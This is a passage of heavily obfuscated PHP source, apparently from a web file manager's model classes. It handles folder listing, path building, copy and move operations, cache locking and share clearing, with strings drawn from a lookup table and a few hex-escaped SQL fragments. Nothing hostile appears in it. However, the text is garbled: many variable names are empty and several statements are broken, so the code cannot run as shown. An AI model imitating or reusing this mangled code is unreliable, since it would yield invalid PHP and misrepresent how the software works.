$[$Á[$藅[399]]]; if (!$Á[$藅[410]] && $Á[$藅[408]] == self::TYPE_GROUP) { $Á[$藅[410]] = Action($藅[500])->pathGroupAuthMake($Á[$藅[501]]); if (!$Á[$藅[410]] && !$) { $Á[$藅[199]] = !1; $Á[$藅[198]] = !1; } } if ($Á[$藅[410]]) { $Á[$藅[199]] = AuthModel::authCheckEdit($Á[$藅[410]][$藅[411]]); $Á[$藅[198]] = AuthModel::authCheckView($Á[$藅[410]][$藅[411]]); } $this->groupPathDisplay($Á); } unset($Á); } public function _listAppendAuthSecret(&$) { $ĵ =& $_SERVER[譃]; if (Model($ĵ[429])->get($ĵ[502]) != $ĵ[89]) { return; } static $ = false; if (!$) { $毦 = Model($ĵ[503]); $ӳԖ = Model($ĵ[504]); $ = $ӳԖ->listData(); $ = array_to_keyvalue($, $ĵ[399]); $ = json_decode(Model($ĵ[429])->get($ĵ[505]), !0); $ = array_to_keyvalue($, $ĵ[396]); foreach ($ as $ߣ => $Ы폌) { $ = $[$Ы폌[$ĵ[506]]]; if (!$) { $ӳԖ->remove($Ы폌[$ĵ[396]]); unset($[$ߣ]); continue; } $ɔ = $毦->listData($[$ĵ[410]]); if (!$ɔ) { $ӳԖ->remove($Ы폌[$ĵ[396]]); unset($[$ߣ]); continue; } $Ы폌[$ĵ[410]] = $ɔ; $Ы폌[$ĵ[507]] = $; $Ы폌[$ĵ[508]] = Model($ĵ[509])->getInfoSimpleOuter($Ы폌[$ĵ[448]]); $[$ߣ] = $Ы폌; } } $ = defined($ĵ[510]) ? USER_ID : $ĵ[12]; $ʀ = array(); $ި = $this->_listAppendPath($ʀ, !0); foreach ($ as $ߣ => &$Ы폌) { if (!is_array($Ы폌[$ĵ[410]])) { continue; } if ($Ы폌[$ĵ[408]] != $ĵ[511]) { continue; } if (isset($[$Ы폌[$ĵ[399]]])) { $DZ = $[$Ы폌[$ĵ[399]]]; if (!is_array($Ы폌[$ĵ[461]])) { $Ы폌[$ĵ[461]] = array(); } $Ы폌[$ĵ[461]][$ĵ[512]] = $DZ[$ĵ[506]]; $Ы폌[$ĵ[410]][$ĵ[513]] = $DZ; $Ы폌[$ĵ[410]][$ĵ[514]] = $Ы폌[$ĵ[515]]; $Ы폌[$ĵ[410]][$ĵ[516]] = $ĵ[89]; if ($DZ[$ĵ[448]] != $) { $Ы폌[$ĵ[410]][$ĵ[411]] = $Ы폌[$ĵ[410]][$ĵ[411]] & $DZ[$ĵ[410]][$ĵ[410]]; } continue; } $ = $this->parentLevelArray($Ы폌[$ĵ[517]]); $퀉 = array_reverse($); foreach ($퀉 as $ݩ => $) { if (!isset($[$])) { continue; } $DZ = $[$]; $Ы폌[$ĵ[410]][$ĵ[513]] = $DZ; if ($DZ[$ĵ[448]] != $) { $Ы폌[$ĵ[410]][$ĵ[411]] = $Ы폌[$ĵ[410]][$ĵ[411]] & $DZ[$ĵ[410]][$ĵ[410]]; } $堎 = $ĵ[12]; $ = count($) - $ݩ; for ($ɔ = 0; $ɔ < $; $ɔ++) { if (!isset($ި[$[$ɔ]])) { $堎 = $ĵ[12]; break; } $堎 = $堎 . rtrim($ި[$[$ɔ]], $ĵ[8]) . $ĵ[8]; } $Ы폌[$ĵ[410]][$ĵ[514]] = rtrim($堎, $ĵ[8]) . $ĵ[8]; break; } } unset($Ы폌); } public function groupPathDisplay(&$ҫ) { $ =& $_SERVER[譃]; if ($ҫ[$[408]] != self::TYPE_GROUP) { return; } $ = Model($[518])->getInfo($ҫ[$[501]]); $ = $this->parentLevelArray($[$[517]]); $꤭ = $[12]; foreach ($ as $в) { $Է = Model($[518])->getInfo($в); $꤭ .= $Է[$[87]][$[399]] . $[50]; } $ҫ[$[519]] = $[$[494]]; $ҫ[$[520]] = $[$[517]]; $ҫ[$[521]] = $[$[522]]; $ҫ[$[523]] = $꤭ . $[$[87]][$[399]]; } protected function _listAppendPath(&$, $ѝͭ = false) { $ =& $_SERVER[譃]; static $âˡ = array(); $ = array(); $ = array(); if ($ѝͭ) { return $âˡ; } foreach ($ as &$) { $Ց = $[$[399]]; if ($[$[407]] == $[89] && $[$[494]] != 0) { $âˡ[$Ց] = $[$[32]]; } if ($[$[407]] == $[89] && $[$[494]] == 0 && !isset($âˡ[$Ց])) { $âˡ[$Ց] = $this->_listAppendPathRoot($, array()); } if (isset($[$[$[517]]])) { continue; } $[$[$[517]]] = !0; $҇Ә = $this->parentLevelArray($[$[517]]); foreach ($҇Ә as $ݗ => $稏) { if (isset($âˡ[$稏])) { continue; } if ($ݗ == 0) { $âˡ[$稏] = $this->_listAppendPathRoot($, $҇Ә); } if ($ݗ != 0) { $[] = $稏; } } } unset($); $ = array_unique($); if (count($) > 0) { $Ϛ = array($[414] => array($[415], $)); if (count($) == 1) { $ū = $this->sourceInfo($[0]); $ = is_array($ū) ? array($ū) : !1; } else { $ = $this->field($[524])->where($Ϛ)->select(); } if (!$) { $ = array(); } foreach ($ as $Ġ) { $âˡ[$Ġ[$[399]]] = $Ġ[$[32]]; } } $ڹ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ = array(); foreach ($ as &$) { $Ƭ = $[$[517]]; $ = $[12]; if (isset($[$Ƭ])) { $ = $[$Ƭ]; } else { $҇Ә = $this->parentLevelArray($[$[517]]); foreach ($҇Ә as $ݗ => $稏) { if (isset($âˡ[$稏])) { $ .= $âˡ[$稏] . $[8]; } } $[$Ƭ] = $; } $ .= $[$[32]]; if ($[$[407]] == $[89]) { $ .= $[8]; } $[$[515]] = str_replace($[525], $[8], $); if ($[$[494]] == $[194]) { $[$[32]] = trim($âˡ[$[$[399]]], $[8]); $[$[515]] = $[$[32]] . $[8]; } if (intval($[$[408]]) == self::TYPE_SYSTEM) { $this->_listAppendPathRecycle($, $҇Ә, $ڹ); } } unset($); return $; } private function _listAppendPathRecycle(&$ɒ, $, $) { $Čǯ =& $_SERVER[譃]; if (!in_array($, $) && $ɒ[$Čǯ[399]] != $) { return; } $Ǝ = explode($Čǯ[8], trim($ɒ[$Čǯ[515]], $Čǯ[8])); $ = implode($Čǯ[8], array_slice($Ǝ, 2)); $ɒ[$Čǯ[515]] = $Čǯ[8] . LNG($Čǯ[526]) . $Čǯ[8] . ltrim($, $Čǯ[8]); $ɒ[$Čǯ[517]] = $Čǯ[527] . implode($Čǯ[50], array_slice($, 1)) . $Čǯ[50]; if ($ɒ[$Čǯ[399]] == $) { $ɒ[$Čǯ[517]] = $Čǯ[527]; $ɒ[$Čǯ[494]] = $Čǯ[194]; $ɒ[$Čǯ[32]] = LNG($Čǯ[526]); } $ɒ[$Čǯ[528]] = $Čǯ[529]; } protected function _listAppendPathRoot(&$, $) { $ =& $_SERVER[譃]; $Ӕ = $[12]; if ($[$[408]] == self::TYPE_USER) { if (defined($[470]) && $[$[501]] == USER_ID) { $Ӕ = LNG($[530]); if (!$) { $[$[32]] = $Ӕ; } } else { $ƭ = Model($[509])->getInfoSimple($[$[501]]); $Ӕ = LNG($[531]) . $[163] . $ƭ[$[32]] . $[532]; $[$[533]] = array($[32] => $ƭ[$[32]], $[534] => $ƭ[$[534]], $[535] => $ƭ[$[535]]); } } else { if ($[$[408]] == self::TYPE_GROUP) { $ƭ = Model($[518])->getInfoSimple($[$[501]]); $Ӕ = $ƭ[$[32]]; } else { if ($[$[408]] == self::TYPE_SYSTEM) { $Ӕ = $[536]; } } } $Ӕ = $Ӕ ? $[8] . $Ӕ . $[8] : $[8]; return $Ӕ; } protected function _listAppendUser(&$É) { $ݢ =& $_SERVER[譃]; $ = array_to_keyvalue($É, $ݢ[12], $ݢ[448]); $Ѧ = array_to_keyvalue($É, $ݢ[12], $ݢ[450]); $哨ړ = array_merge($, $Ѧ); $ = Model($ݢ[537])->userListInfo($哨ړ); foreach ($É as &$씯) { $ = $씯[$ݢ[448]]; $씯[$ݢ[448]] = $[$] ? $[$] : !1; $ = $씯[$ݢ[450]]; $씯[$ݢ[450]] = $[$] ? $[$] : !1; if (isset($씯[$ݢ[461]]) && $씯[$ݢ[461]][$ݢ[538]]) { $ = $GLOBALS[$ݢ[6]][$ݢ[90]][$ݢ[539]]; if ($씯[$ݢ[461]][$ݢ[540]] <= time() - $) { $this->metaSet($씯[$ݢ[399]], $ݢ[538], null); $this->metaSet($씯[$ݢ[399]], $ݢ[540], null); unset($씯[$ݢ[461]][$ݢ[538]]); continue; } $ͨ = $씯[$ݢ[461]][$ݢ[538]]; $씯[$ݢ[461]][$ݢ[541]] = Model($ݢ[537])->getInfoSimpleOuter($ͨ); } } unset($씯); } public function parentLevelArray($ќ) { $ʑ =& $_SERVER[譃]; $ќ = explode($ʑ[50], trim($ќ, $ʑ[50])); return array_remove_value($ќ, $ʑ[194]); } public function listAll($) { $ =& $_SERVER[譃]; $ = $this->sourceInfo($); $Ƥʷ = array($[542] => array($[543], $[$[517]] . $ . $[544]), $[545] => 0); $ֆ = $[546]; $ = "\x4c\105\x46\x54\x20\x4a\x4f\111\x4e\x20{$this->tablePrefix}\151\157\x5f\x66\x69\154\x65\x20\146\151\154\145\40\157\156\40\163\x6f\x75\162\143\x65\x2e\x66\x69\154\x65\111\x44\40\75\x20\x66\x69\x6c\145\56\146\151\154\x65\111\x44"; $ = $this->alias($[440])->field($ֆ)->where($Ƥʷ)->join($)->select(); $this->_listAppendAuth($); $this->_listAppendUser($); $this->_listAppendPath($); $ = array_to_keyvalue($, $[399]); $ = "\x2f{$[$[32]]}\57"; $ = $ == $[525] ? $[8] : $; $ъ㚽 = array(); foreach ($ as $ => $ӵ) { $ = $this->parentLevelArray($ӵ[$[517]]); array_shift($); $Ύ = $; for ($ = 0; $ < count($); $++) { $Ύ .= $[$[$]][$[32]] . $[8]; } $Ύ .= $ӵ[$[32]]; if ($ӵ[$[407]]) { $Ύ .= $[8]; } $Ύ = str_replace($[525], $[8], $Ύ); $Ύ = str_replace($[525], $[8], $Ύ); $چ = array($[418] => str_replace($[525], $[8], $Ύ), $[547] => intval($ӵ[$[407]]), $[87] => $this->pathInfoFilter($ӵ)); if (!$ӵ[$[407]]) { $چ[$[463]] = $ӵ[$[463]]; $چ[$[88]] = $ӵ[$[78]]; } $ъ㚽[] = $چ; } return $ъ㚽; } } class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public $moveClearAuth = true; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($) { $圩 =& $_SERVER[譃]; if (!$this->allowLock()) { return; } $this->_lockCheck($圩[548], $); $ = 1; $this->_lockEvent($, array($圩[549], $圩[550]), $); $this->_lockParent($, array($圩[550]), $); $this->_lockEvent($, array($圩[551], $圩[552]), $); $this->_lockCheckEnd($圩[548], $); } public function lockCopyEnd($) { $ =& $_SERVER[譃]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockEvent($, array($[549], $[550]), $); $this->_lockParent($, array($[550]), $); $this->_lockEvent($, array($[551], $[552]), $); } public function lockWriteStart($ҰȲ, $ԝ = '') { $ߎ =& $_SERVER[譃]; if (!$this->allowLock()) { return; } $this->_lockCheck($ߎ[549], $ҰȲ); $ = 1; $this->_lockKey($ߎ[553] . $ҰȲ . $ߎ[10] . $ԝ, $); $this->_lockEvent($ҰȲ, array($ߎ[548], $ߎ[550]), $); $this->_lockParent($ҰȲ, array($ߎ[548], $ߎ[550]), $); $this->_lockCheckEnd($ߎ[549], $ҰȲ); } public function lockWriteEnd($, $ = '') { $ݢ =& $_SERVER[譃]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockKey($ݢ[553] . $ . $ݢ[10] . $, $); $this->_lockEvent($, array($ݢ[548], $ݢ[550]), $); $this->_lockParent($, array($ݢ[548], $ݢ[550]), $); } public function lockMoveStart($) { $ =& $_SERVER[譃]; if (!$this->allowLock()) { return; } $this->_lockCheck($[550], $); $ = 1; $this->_lockKey($[554] . $, $); $this->_lockEvent($, array($[548], $[549]), $); $this->_lockParent($, array($[548], $[550]), $); $this->_lockEvent($, array($[555], $[551], $[552]), $); $this->_lockCheckEnd($[550], $); } public function lockMoveEnd($) { $ =& $_SERVER[譃]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockKey($[554] . $, $); $this->_lockEvent($, array($[548], $[549]), $); $this->_lockParent($, array($[548], $[550]), $); $this->_lockEvent($, array($[555], $[551], $[552]), $); } private function _lockCheck($£, $րա) { $џɒ =& $_SERVER[譃]; $τ = $this->sourceInfo($րա); $ = $£ . $џɒ[10] . $րա; $this->_lockTimeStart[$] = timeFloat(); if (!is_array($τ)) { return; } $ߴ = LNG($џɒ[556]); CacheLock::setErrorMsg($џɒ[163] . htmlspecialchars($τ[$џɒ[32]]) . $џɒ[532] . $ߴ); $this->_lockKey($, 1); $this->_lockKey($, 0); $ = array_reverse($this->parentLevelArray($τ[$џɒ[517]])); foreach ($ as $) { $ = $£ . $џɒ[557] . $; if (CacheLock::lockGet($џɒ[558] . $)) { $τ = $this->sourceInfo($); CacheLock::setErrorMsg($џɒ[163] . htmlspecialchars($τ[$џɒ[32]]) . $џɒ[532] . $ߴ); $this->_lockKey($, 1); $this->_lockKey($, 0); } } } private function _lockCheckEnd($, $̸) { $ =& $_SERVER[譃]; $ = $ . $[10] . $̸; CacheLock::setErrorMsg($[377]); if (!isset($this->_lockTimeStart[$])) { return; } $ = timeFloat() - $this->_lockTimeStart[$]; unset($this->_lockTimeStart[$]); if ($ > 0.5) { unset(self::$cacheSourceInfo[$[454] . $̸]); } $턹 = $this->sourceInfo($̸); if (!$턹) { show_json(LNG($[106]), !1); } } private function _lockParent($ި˕, $ǹ, $ʬ) { if (!$this->autoLockSet) { return; } $᮳ = $this->sourceInfo($ި˕); if (!is_array($᮳)) { return; } $ = array_reverse($this->parentLevelArray($᮳[$_SERVER[譃][517]])); foreach ($ as $) { $this->_lockEvent($, $ǹ, $ʬ); } } private function _lockEvent($, $, $Ң) { $ =& $_SERVER[譃]; if (!$this->autoLockSet) { return; } foreach ($ as $ꉛ) { $ = $ꉛ . $[10] . $; if ($Ң && CacheLock::lockGet($[558] . $)) { continue; } $this->_lockKey($, $Ң); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($, $ = 1) { $ܻ = $_SERVER[譃][558] . md5($); if ($) { if (isset(self::$_lockItemArr[$ܻ])) { return; } self::$_lockItemArr[$ܻ] = 1; CacheLock::lock($ܻ, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$ܻ])) { return; } unset(self::$_lockItemArr[$ܻ]); CacheLock::unlock($ܻ); } } public function isParentOf($ɸ, $Ìý) { $뎎 =& $_SERVER[譃]; $Ң = $this->sourceInfo($ɸ); $ = $this->sourceInfo($Ìý); $̛䡬 = $Ң[$뎎[517]] . $Ң[$뎎[399]] . $뎎[50]; $Ű = $[$뎎[517]] . $[$뎎[399]] . $뎎[50]; $ = strpos($Ű, $̛䡬) === 0; return $; } private $targetIsDelete = 0; public function copy($ݠ, $, $ = REPEAT_REPLACE, $ = '') { $ =& $_SERVER[譃]; $ߖ = $this->sourceInfo($ݠ); $ɦ = $this->sourceInfo($); if (!$ߖ || !$ɦ || $ɦ[$[407]] != $[89]) { return !1; } if ($this->isParentOf($ݠ, $)) { return !1; } $ = $ ? $ : $ߖ[$[32]]; $this->lockCopyStart($ݠ); $this->lockWriteStart($, $); $ϑ = array($[559] => array(), $[560] => array(), $[561] => array()); $this->targetIsDelete = intval($ߖ[$[427]]); $Ř = $this->fileNameExistCache($, $ߖ[$[32]]); $ö = $this->_copy($ݠ, $, $, $ϑ, !0, $); $this->_childrenListClear(); $this->lockCopyEnd($ݠ); $this->lockWriteEnd($, $); if ($ߖ[$[407]] == $[89] && $Ř == $ö) { $this->folderSizeResetChildren($Ř); } Model($[562])->addAll($ϑ[$[560]], array(), !0); if ($Ř != $ö || $ߖ[$[407]] == $[89]) { Model($[563])->eventCopy($ö); } $this->saveAll($ϑ[$[561]]); Model($[196])->linkAdd($ϑ[$[559]]); $this->folderSizeReset($); $this->updateModifyTime($); return $ö; } private function _copy($, $, $٤, &$, $˹, $ȥ = '') { $ѝ =& $_SERVER[譃]; $䫞 = $this->sourceInfoCache($); $Ǭ = $䫞[$ѝ[407]] == $ѝ[89]; $ƙ = $ȥ ? $ȥ : $䫞[$ѝ[32]]; $́ = $this->fileNameExistCache($, $ƙ); if ($˹) { $this->_childrenAllMake($); if ($Ǭ && $́) { $this->_childrenAllMake($́); } } if (!$́) { return $this->_copyCreate($, $, $ƙ, $); } $喹 = $́; if ($Ǭ) { if ($٤ == REPEAT_RENAME_FOLDER) { $ƙ = $this->fileNameAutoCache($, $ƙ, $٤, $Ǭ); $喹 = $this->_copyCreate($, $, $ƙ, $); } else { $ = $this->_childrenList($); foreach ($ as $) { $this->_copy($[$ѝ[399]], $́, $٤, $, !1); } } } else { if ($٤ == REPEAT_RENAME || $٤ == REPEAT_RENAME_FOLDER) { $ƙ = $this->fileNameAutoCache($, $ƙ, $٤, $Ǭ); $喹 = $this->_copyCreate($, $, $ƙ, $); } else { if ($٤ == REPEAT_REPLACE) { $ؤ = $this->sourceInfoCache($́); $ = $this->fileHistory($ؤ, $䫞[$ѝ[463]], $䫞[$ѝ[80]]); if ($) { $[$ѝ[559]][] = $䫞[$ѝ[463]]; } } else { if ($٤ == REPEAT_SKIP) { } } } Hook::trigger($ѝ[564], array($ѝ[565], $䫞, 0)); } return $喹; } private function _copyCreate($̹, $ܟ, $, &$Վ) { $֍ =& $_SERVER[譃]; $ = $this->sourceInfoCache($̹); $鉳ס = $this->sourceInfoCache($ܟ); $㌸ = $this->_makeItemData($, $鉳ס, $); Hook::trigger($֍[566], $㌸); Hook::trigger($֍[567], array($֍[568], $㌸, 0)); $˻ = $this->add($㌸); $ = array($֍[399] => $˻, $֍[32] => $); $this->_copyApplyMeta($, $Վ); if ($[$֍[407]] != $֍[89]) { $Վ[$֍[559]][] = $[$֍[463]]; return $˻; } $ޓ = array(); $㿡 = array(); $this->_childrenListAll($̹, $ޓ); $٧ = count($ޓ); if ($٧ == 0) { return $˻; } $ = $this->sourceInfo($˻); foreach ($ޓ as $͍) { $ݚ = $this->_makeItemData($͍, $, $͍[$֍[32]]); $ݚ[$֍[517]] = $͍[$֍[517]]; $㿡[] = $ݚ; } $this->chunkEventSet($֍[569], array($֍[570], $㌸, $٧)); $this->addAll($㿡, array(), !1); $ч = $this->where(array($֍[494] => $˻))->select(); $Ӭ = $this->_childrenMakeRelation($ޓ, $ч); $Ӭ[$̹] = $˻; $೩ = array(); $ǹ = array(); foreach ($ч as $͍) { $ = $͍[$֍[399]]; $ĸ = $this->_childrenMatch($Ӭ, $͍, $); $೩[] = array($֍[399], $, $֍[494], $ĸ[$֍[494]]); $ǹ[] = array($֍[399], $, $֍[517], $ĸ[$֍[517]]); $this->_copyApplyMeta($͍, $Վ); if ($͍[$֍[407]] != $֍[89]) { $Վ[$֍[559]][] = $͍[$֍[463]]; } } $this->chunkEventSet($֍[571], array($֍[572], $㌸, $٧)); $this->saveAll($೩); $this->chunkEventSet($֍[573], array($֍[574], $㌸, $٧)); $this->saveAll($ǹ); return $˻; } private function _childrenMakeRelation($²ܼ, $) { $ =& $_SERVER[譃]; $Ե = array(); $ = array(); foreach ($²ܼ as $Ҟ궮) { $ֆ = $Ҟ궮[$[32]] . $[8] . $Ҟ궮[$[517]]; $Ե[$ֆ] = $Ҟ궮[$[399]]; } foreach ($ as $Ҟ궮) { $ֆ = $Ҟ궮[$[32]] . $[8] . $Ҟ궮[$[517]]; $ = $Ե[$ֆ]; $[$] = $Ҟ궮[$[399]]; } return $; } private function _childrenMatch($֊, $숭, $ߊ) { $Շ =& $_SERVER[譃]; $ = $ߊ[$Շ[517]]; $ = $this->parentLevelArray($숭[$Շ[517]]); foreach ($ as $ŵי) { if (isset($֊[$ŵי])) { $ .= $֊[$ŵי] . $Շ[575]; } } $ = rtrim($, $Շ[50]) . $Շ[50]; $؊ҙ = $this->parentLevelArray($); $༽ = $؊ҙ[count($؊ҙ) - 1]; return array($Շ[494] => $༽, $Շ[517] => $); } private function _makeItemData($Ȥ, $ۑ, $) { $ߴ۫ =& $_SERVER[譃]; $ǫ = array($ߴ۫[576] => $Ȥ[$ߴ۫[407]], $ߴ۫[417] => $, $ߴ۫[577] => $Ȥ[$ߴ۫[409]] ? $Ȥ[$ߴ۫[409]] : $ߴ۫[12], $ߴ۫[464] => $Ȥ[$ߴ۫[463]] ? $Ȥ[$ߴ۫[463]] : 0, $ߴ۫[578] => $Ȥ[$ߴ۫[80]] ? $Ȥ[$ߴ۫[80]] : 0, $ߴ۫[579] => intval($ۑ[$ߴ۫[408]]), $ߴ۫[580] => intval($ۑ[$ߴ۫[501]]), $ߴ۫[581] => intval(USER_ID), $ߴ۫[582] => intval(USER_ID), $ߴ۫[398] => intval($ۑ[$ߴ۫[399]]), $ߴ۫[583] => $ۑ[$ߴ۫[517]] . $ۑ[$ߴ۫[399]] . $ߴ۫[50], $ߴ۫[421] => $Ȥ[$ߴ۫[86]] ? $Ȥ[$ߴ۫[86]] : time(), $ߴ۫[426] => 0, $ߴ۫[584] => $ߴ۫[12]); return $ǫ; } private function _copyApplyMeta($懓, &$) { $ =& $_SERVER[譃]; $ = $懓[$[399]]; $ﶀ = $懓[$[32]]; if (!isset($懓[$[585]]) || !$懓[$[585]] || $懓[$[585]] == $[194]) { $[$[561]][] = array($[399], $, $[585], short_id($)); } if (Input::check($ﶀ, $[586])) { $[$[560]][] = array($[399] => $, $[95] => $[460], $[373] => str_replace($[53], $[12], Pinyin::get($ﶀ))); $[$[560]][] = array($[399] => $, $[95] => $[459], $[373] => Pinyin::get($ﶀ, $[587])); } $[$[560]][] = array($[399] => $, $[95] => $[438], $[373] => KodSort::makeStr($ﶀ)); } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($) { $ =& $_SERVER[譃]; $ʒ = $this->sourceInfo($); $ = $[588]; $Ā· = array($[517] => array($[543], $ʒ[$[517]] . $ . $[544]), $[427] => $this->targetIsDelete); $ = $this->field($)->where($Ā·)->select(); if (!$) { return; } $ = array_to_keyvalue($, $[399]); foreach ($ as $沉) { $ॆ = $沉[$[494]]; $ = $沉[$[399]]; if (!isset($this->_childrenListCache[$]) && $沉[$[407]] == $[89]) { $this->_childrenListCache[$] = array(); } if (!isset($this->_childrenListCache[$ॆ])) { $this->_childrenListCache[$ॆ] = array(); } $this->_childrenListCache[$ॆ][$] = $沉; $this->_childrenItemCache[$] = $沉; } } private function _childrenListAll($ﴱ, &$) { $䮇 =& $_SERVER[譃]; if (!isset($this->_childrenListCache[$ﴱ])) { return; } $㣢Ѫ = $this->_childrenListCache[$ﴱ]; foreach ($㣢Ѫ as $˕ => $˴ݠ) { $[$˕] = $˴ݠ; if ($˴ݠ[$䮇[407]] == $䮇[89]) { $this->_childrenListAll($˕, $); } } } private function sourceInfoCache($) { if (isset($this->_childrenItemCache[$])) { return $this->_childrenItemCache[$]; } return $this->sourceInfo($); } private function _childrenList($) { if (isset($this->_childrenListCache[$])) { return $this->_childrenListCache[$]; } return $this->_childrenListSelect($); } private function _childrenListSelect($̀) { $ܘ =& $_SERVER[譃]; $ƣ = array($ܘ[494] => $̀, $ܘ[427] => $this->targetIsDelete); $ = $this->where($ƣ)->select(); $ = $ ? $ : array(); $Ɲ = array_to_keyvalue($, $ܘ[399]); $this->_childrenListCache[$̀] = $Ɲ; foreach ($Ɲ as $̀ => $) { $this->_childrenItemCache[$̀] = $; } return $Ɲ; } private function fileNameExistCache($, $) { $֠ާ =& $_SERVER[譃]; $ = strtolower($); $͚ = $this->_childrenList($); foreach ($͚ as $) { if ($ == strtolower($[$֠ާ[32]])) { return $[$֠ާ[399]]; } } return !1; } private function fileNameAutoCache($Զ, $͡, $ƕކ, $) { $ =& $_SERVER[譃]; $筭 = $this->_childrenList($Զ); $ߕ = array_to_keyvalue($筭, $[12], $[32]); return $this->fileNameAutoGet($ߕ, $͡, $ƕކ, $); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($篳, $ܔ, $ = REPEAT_REPLACE, $ = '') { $υ =& $_SERVER[譃]; $ʈ = $this->sourceInfo($篳); $蝫 = $this->sourceInfo($ܔ); if ($ʈ[$υ[494]] == $蝫[$υ[399]]) { if ($ʈ[$υ[427]] == $υ[89]) { Model($υ[425])->restore(array($篳)); } if (!$ || $ == $ʈ[$υ[32]]) { return $篳; } } $˭ۃ = $this->pathInfoMore($篳); if ($this->isParentOf($篳, $ܔ)) { return !1; } if (!$ʈ || !$蝫 || $蝫[$υ[407]] != $υ[89]) { return !1; } Hook::trigger($υ[589], $˭ۃ); $this->targetIsDelete = intval($ʈ[$υ[427]]); if ($ʈ[$υ[494]] == $ܔ && $ != $ʈ[$υ[32]]) { $ʪ = $this->fileNameExist($ܔ, $); if ($ʪ && $ʈ[$υ[407]] == $υ[194]) { $Ҕ = $this->sourceInfo($ʪ); $͏ = $this->fileHistory($Ҕ, $ʈ[$υ[463]], $ʈ[$υ[80]]); if (!$͏) { Model($υ[466])->remove($ʈ[$υ[463]]); } $this->removeNow($篳, !1); $this->folderSizeReset($ܔ); Hook::trigger($υ[590], $˭ۃ); return $ʪ; } } $ = $ ? $ : $ʈ[$υ[32]]; $this->lockMoveStart($篳); $this->lockWriteStart($ܔ, $); $ = array($υ[559] => array(), $υ[591] => !1); $this->clearShare($篳, $ܔ); $Ү = $this->fileNameExistCache($ܔ, $ʈ[$υ[32]]); $ = $this->_move($篳, $ܔ, $, $, $); $this->sourceCacheClear(); if ($ʈ[$υ[407]] == $υ[89] && $Ү) { $this->folderSizeResetChildren($); } Model($υ[196])->linkAdd($[$υ[559]]); if ($Ү && $[$υ[591]]) { $this->removeNow($篳, !1); } $this->lockMoveEnd($篳); $this->lockWriteEnd($ܔ, $); $this->folderSizeReset($ʈ[$υ[494]]); $this->folderSizeReset($ܔ); $Ǚ = array($ʈ[$υ[494]], $ܔ); if ($ʈ[$υ[407]] == $υ[89]) { $Ǚ[] = $篳; } $this->updateModifyTime($Ǚ); Model($υ[563])->eventMove($篳, $ʈ[$υ[494]], $ܔ); Hook::trigger($υ[590], $˭ۃ); return $; } private function _move($ʥ, $˄, $, &$벇, $ȹ = '') { $Χ =& $_SERVER[譃]; $ = $this->sourceInfo($ʥ); $ = $[$Χ[407]] == $Χ[89]; $ = $ȹ ? $ȹ : $[$Χ[32]]; $ԉ̾ = $this->fileNameExistCache($˄, $); $this->lockMoveStart($ʥ); $this->lockWriteStart($˄, $); if (!$ԉ̾) { return $this->_moveForce($ʥ, $˄, $); } $ٕ = $ԉ̾; $ = !1; if ($) { if ($ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAuto($˄, $, $, $); $ٕ = $this->_moveForce($ʥ, $˄, $); } else { if ($ == REPEAT_RENAME_FOLDER) { $ = REPEAT_RENAME; } $ = $this->_childrenListSelect($ʥ); foreach ($ as $) { $this->_move($[$Χ[399]], $ԉ̾, $, $벇); } $ = !0; } } else { if ($ == REPEAT_SKIP) { $ = !0; } else { if ($ == REPEAT_RENAME || $ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAuto($˄, $, $, $); $ٕ = $this->_moveForce($ʥ, $˄, $); } else { if ($ == REPEAT_REPLACE) { $ٟ = $this->sourceInfoCache($ԉ̾); $½ = $this->fileHistory($ٟ, $[$Χ[463]], $[$Χ[80]]); $ = !0; if ($½) { $벇[$Χ[559]][] = $[$Χ[463]]; } } } } } if ($ && !$벇[$Χ[591]]) { $벇[$Χ[591]] = !0; } return $ٕ; } private function _moveForce($͜¾, $, $҉) { $ =& $_SERVER[譃]; $ = $this->sourceInfo($͜¾); $ = $this->sourceInfo($); $ = $[$[407]] == $[89]; $ = array($[398] => $[$[399]], $[583] => $[$[517]] . $[$[399]] . $[50], $[579] => $[$[408]], $[580] => $[$[501]], $[582] => USER_ID, $[417] => $҉); $ņ = $[$[408]] == SourceModel::TYPE_GROUP && $[$[408]] == SourceModel::TYPE_GROUP && $[$[501]] == $[$[501]]; if (!$ņ && $this->moveClearAuth) { Model($[498])->authClear($͜¾); } $ߢ = $[$[427]] == $[89] && $[$[427]] != $[89]; if ($ߢ) { $[$[426]] = 0; } if ($) { $ԫ = array($[583] => array($[543], $[$[517]] . $[$[399]] . $[544])); $ыל = $[$[517]] . $[$[399]] . $[50]; $ѱ = $[$[517]] . $[$[399]] . $[50] . $[$[399]] . $[50]; $䯝ݻ = array($[583] => array($[592], "\x72\145\160\154\141\143\x65\x28\160\141\162\x65\156\x74\x4c\145\x76\x65\x6c\x2c\x27{$ыל}\47\54\47{$ѱ}\47\51"), $[579] => $[$[408]], $[580] => $[$[501]]); if ($ߢ) { $䯝ݻ[$[426]] = 0; } $this->where($ԫ)->data($䯝ݻ)->save(); } $this->where(array($[414] => $͜¾))->data($)->save(); return $͜¾; } private function clearShare($ˆ㽊, $̰) { $ =& $_SERVER[譃]; $ؚ = $this->sourceInfo($ˆ㽊); $è艩 = $this->sourceInfo($̰); if ($ؚ[$[501]] == $è艩[$[501]] && $ؚ[$[408]] == $[593]) { return; } $ҋ = array($[517] => array($[543], $ؚ[$[517]] . $ˆ㽊 . $[544])); $ޕˠ = $this->field($[414])->where($ҋ)->getField($[399], !0); if (!$ޕˠ) { return; } $ҋ = array($[399] => array($[7], $ޕˠ), $[491] => 1); $Ü = Model($[594])->field($[484])->where($ҋ)->select(); if (!$Ü) { return; } $Ü = array_to_keyvalue($Ü, $[12], $[484]); $ҋ = array($[484] => array($[7], $Ü)); Model($[594])->where($ҋ)->save(array($[491] => 0)); Model($[595])->where($ҋ)->delete(); } public function copyFolderFromIO($, $ʠ, $Ϯ, $Ӧ, $, $؛ = false) { $ɣ 